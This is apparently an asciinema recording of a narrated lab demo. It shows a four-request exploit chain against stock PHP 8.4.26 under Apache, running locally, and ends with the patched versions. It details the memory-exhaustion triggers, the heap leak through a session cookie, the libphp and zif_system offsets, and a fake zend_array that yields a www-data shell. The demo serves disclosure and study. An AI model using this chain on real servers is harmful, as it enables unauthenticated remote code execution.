{"version":3,"term":{"cols":170,"rows":40},"timestamp":1793991324,"idle_time_limit":3.0,"command":"python3 demo_verbose.py","title":"PHP2Shell narrated lab"}
[0.024, "o", "\u001b[2mPHP2Shell — four HTTP requests to a shell\u001b[0m\r\n"]
[0.447, "o", "\u001b[2mStock php:8.4.26-apache · Debian 13 · Apache mod_php · one worker\u001b[0m\r\n"]
[1.150, "o", "\r\n\u001b[1;36mTarget\u001b[0m\r\n"]
[0.544, "o", "\u001b[1;33m$ curl -s http://127.0.0.1:18110/index.php\u001b[0m\r\n"]
[0.012, "o", "\u001b[2mOK\u001b[0m\r\n"]
[0.732, "o", "\u001b[2mThat is the whole application: <?php echo \"OK\\n\"; ?>\u001b[0m\r\n"]
[0.727, "o", "\u001b[2mNo framework. No auth. No application bug.\u001b[0m\r\n"]
[0.892, "o", "\r\n\u001b[1;33m$ docker exec p2s-pure-18110 php -v | head -1\u001b[0m\r\n"]
[0.052, "o", "\u001b[2mPHP 8.4.26 (cli) (built: Oct 21 2026 00:32:44) (NTS)\u001b[0m\r\n"]
[0.650, "o", "\u001b[1;33m$ docker exec p2s-pure-18110 php -i | \\\u001b[0m\r\n\u001b[1;33m    grep -E 'display_errors|memory_limit|post_max_size|session.upload_progress.enabled'\u001b[0m\r\n"]
[0.061, "o", "\u001b[2mdisplay_errors => Off => Off\r\nmemory_limit => 128M => 128M\r\npost_max_size => 8M => 8M\r\nsession.upload_progress.enabled => On => On\u001b[0m\r\n"]
[0.941, "o", "\r\n\u001b[1;36mThe chain\u001b[0m\r\n"]
[0.539, "o", "A1  memory pressure  -> OOM during request startup -> PS(id) left dangling\r\n"]
[0.469, "o", "B1  heap disclosure  -> stale PS(id) -> 800 KiB of worker heap in a cookie\r\n"]
[0.403, "o", "A2  second pressure  -> PS(hash_serialize_verifier) left dangling\r\n"]
[0.497, "o", "B2  code execution   -> fake zend_array -> pDestructor = zif_system -> /bin/sh\r\n"]
[1.147, "o", "\r\n\u001b[1;36mThe payload that runs after exploitation\u001b[0m\r\n"]
[0.528, "o", "\u001b[1;33m$ cat out/c\u001b[0m\r\n"]
[0.001, "o", "\u001b[2mexec >/out/p1 2>&1\r\necho \"shell_ppid_var=${PPID:-unset}\"\r\nid\r\ncat /proc/sys/kernel/hostname\r\nuname -a\r\necho \"shell_pid=$$\"\r\nppid=$(sed -n 's/^PPid:[[:space:]]*//p' /proc/$$/status)\r\necho \"current_parent_pid=$ppid\"\r\necho \"current_parent_comm=$(cat /proc/$ppid/comm)\"\r\necho \"shell_exe=$(readlink /proc/$$/exe)\"\r\nhead -8 /proc/$$/status\r\n\u001b[0m\r\n"]
[1.148, "o", "\u001b[2mIt is not uploaded. It is already in the writable /out mount.\u001b[0m\r\n"]
[0.628, "o", "\u001b[2mThe exploit only needs to run: . /out/c\u001b[0m\r\n"]
[0.950, "o", "\r\n\u001b[1;36mExploit\u001b[0m\r\n"]
[0.533, "o", "\u001b[1;33m$ python3 exploit.py --port 18110 --workers 1 \\\u001b[0m\r\n\u001b[1;33m    --restart p2s-pure-18110 --docker docker --retries 1 \\\u001b[0m\r\n\u001b[1;33m    --cmd '. /out/c'\u001b[0m\r\n"]
[3.405, "o", "\u001b[1;36m[1/4] A1 — memory pressure\u001b[0m\r\n"]
[0.747, "o", "      POST /index.php?...  Transfer-Encoding: chunked  1,060,211 B\r\n"]
[0.464, "o", "      860 nested empty file fields + 78 large values + progress field\r\n"]
[0.493, "o", "\u001b[2mGoal: hit memory_limit while PHP is still parsing multipart input.\u001b[0m\r\n"]
[0.717, "o", "\u001b[2mThe upload-progress field makes PHP initialize session state early.\u001b[0m\r\n"]
[1.169, "o", "      PHP Fatal error (worker 19): Allowed memory size of 134217728 bytes exhausted\r\n      (tried to allocate 4096 bytes) in Unknown on line 0\r\n"]
[0.823, "o", "\u001b[2mWorker 19 survives. Request heap is freed. PS(id) now points into freed memory.\u001b[0m\r\n"]
[1.055, "o", "\u001b[1;36m[2/4] B1 — heap disclosure\u001b[0m\r\n"]
[0.740, "o", "      POST /  Transfer-Encoding: chunked  33,128,677 B\r\n"]
[0.498, "o", "      No file part. PHP reaches END cleanup and uses the stale PS(id).\r\n"]
[0.481, "o", "      Response: Set-Cookie: PHPSESSID=<819,208 bytes after URL-decode>\r\n"]
[0.748, "o", "\u001b[2mThat is 800 KiB of the worker's heap, URL-encoded into one cookie.\u001b[0m\r\n"]
[0.939, "o", "      Heap clusters (2 MiB-aligned):\r\n"]
[0.437, "o", "        0xf4d227600000   7,495 pointers  (id string chunk)\r\n"]
[0.399, "o", "        0xf4d232400000   1,095 pointers  (zval_ptr_dtor / libphp)\r\n"]
[0.397, "o", "        0xf4d22fc00000      87 pointers  (main request chunk)\r\n"]
[0.387, "o", "      zval_ptr_dtor = 0xf4d23241812b   (a known function in libphp)\r\n"]
[0.495, "o", "      libphp        = 0xf4d231de0000  = 0xf4d23241812b - 0x63812B\r\n"]
[0.648, "o", "\u001b[2mzif_system is PHP's internal implementation of system().\u001b[0m\r\n"]
[1.350, "o", "\u001b[1;36m[3/4] A2 — second pressure\u001b[0m\r\n"]
[0.744, "o", "      POST /  Content-Length: 279,338 B\r\n"]
[0.494, "o", "      880 nested fields, 64 levels deep\r\n"]
[0.498, "o", "\u001b[2mGoal: leave PS(hash_serialize_verifier) dangling for B2 to reclaim.\u001b[0m\r\n"]
[1.131, "o", "\u001b[1;36m[4/4] B2 — code execution\u001b[0m\r\n"]
[0.749, "o", "      POST /  Content-Length: 451,384 B\r\n"]
[0.496, "o", "      500 + 495 fields spray fake zend_reference structures.\r\n"]
[0.498, "o", "      main chunk    = 0xf4d22fc00000    (2 MiB-aligned)\r\n"]
[0.447, "o", "      fake array S  = 0xf4d22fcf8398       = main + 0xF8398\r\n"]
[0.450, "o", "      zif_system    = 0xf4d23220cd70     = libphp + 0x42CD70\r\n"]
[0.741, "o", "      One ht field carries a fake zend_array:\r\n"]
[0.500, "o", "        pDestructor = zif_system\r\n"]
[0.499, "o", "\u001b[2mOn request shutdown, zend_hash_destroy() calls pDestructor().\u001b[0m\r\n"]
[0.728, "o", "\u001b[2mThat is the whole trick: PHP calls a function pointer we chose.\u001b[0m\r\n"]
[0.810, "o", "\u001b[2mThe worker will crash after spawning the shell; the shell survives.\u001b[0m\r\n"]
[1.140, "o", "\u001b[1;32m[+] RCE OK\u001b[0m\r\n"]
[0.944, "o", "\r\n\u001b[1;32mProof\u001b[0m\r\n"]
[0.609, "o", "\u001b[1;33m$ cat out/p1\u001b[0m\r\n"]
[0.001, "o", "shell_ppid_var=19\r\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\r\n4f89cfb3edaf\r\nLinux 4f89cfb3edaf 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Thu May  7 17:26:37 UTC 2026 aarch64 GNU/Linux\r\nshell_pid=20\r\ncurrent_parent_pid=1\r\ncurrent_parent_comm=apache2\r\nshell_exe=/usr/bin/dash\r\nName:\tsh\r\nUmask:\t0022\r\nState:\tS (sleeping)\r\nTgid:\t20\r\nNgid:\t0\r\nPid:\t20\r\nPPid:\t1\r\nTracerPid:\t0\r\n"]
[0.941, "o", "\u001b[2mThe shell is uid 33. Its $PPID is 19: the Apache worker that spawned it.\u001b[0m\r\n"]
[0.624, "o", "\u001b[2mWorker 19 crashed. /proc/$$/status now shows PPid 1 (apache2 master).\u001b[0m\r\n"]
[0.946, "o", "\u001b[1;33m$ docker exec p2s-pure-18110 sh -c 'cat /proc/1/comm'\u001b[0m\r\n"]
[0.042, "o", "\u001b[2mapache2\u001b[0m\r\n"]
[0.607, "o", "\u001b[1;33m$ docker logs --tail 200 p2s-pure-18110 | grep -E 'Allowed memory size|child pid 19'\u001b[0m\r\n"]
[0.023, "o", "\u001b[2m      [php:error] [pid 19:tid 19] [client 172.17.0.1:45292] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 4096 bytes) in Unknown on line 0\u001b[0m\r\n"]
[0.518, "o", "\u001b[2m      [php:error] [pid 19:tid 19] [client 172.17.0.1:45312] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 20480 bytes) in Unknown on line 0\u001b[0m\r\n"]
[0.550, "o", "\u001b[2m      [core:notice] [pid 1:tid 1] AH00052: child pid 19 exit signal Segmentation fault (11)\u001b[0m\r\n"]
[0.547, "o", "\u001b[2mThe B2 request has no normal access-log line: the worker dies first.\u001b[0m\r\n"]
[0.932, "o", "\u001b[1;33m$ curl -s http://127.0.0.1:18110/index.php\u001b[0m\r\n"]
[0.014, "o", "\u001b[2mOK\u001b[0m\r\n"]
[0.945, "o", "\r\n\u001b[1;32mWhat you just saw\u001b[0m\r\n"]
[0.549, "o", "1. Stock PHP, one-line app, no authentication.\r\n"]
[0.499, "o", "2. A1: OOM in request startup leaves session globals dangling.\r\n"]
[0.388, "o", "3. B1: the same worker reuses the stale PS(id); 800 KiB of heap leaks into a cookie.\r\n"]
[0.500, "o", "4. A2: a second dangling pointer, PS(hash_serialize_verifier).\r\n"]
[0.454, "o", "5. B2: a fake zend_array sets pDestructor = zif_system; request shutdown runs /bin/sh.\r\n"]
[0.494, "o", "6. The shell runs as www-data. Its original parent was the Apache worker; it was reparented after the worker crashed.\r\n"]
[0.948, "o", "\u001b[2mPatch: 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35. Config changes are partial.\u001b[0m\r\n"]
[0.575, "x", "0"]
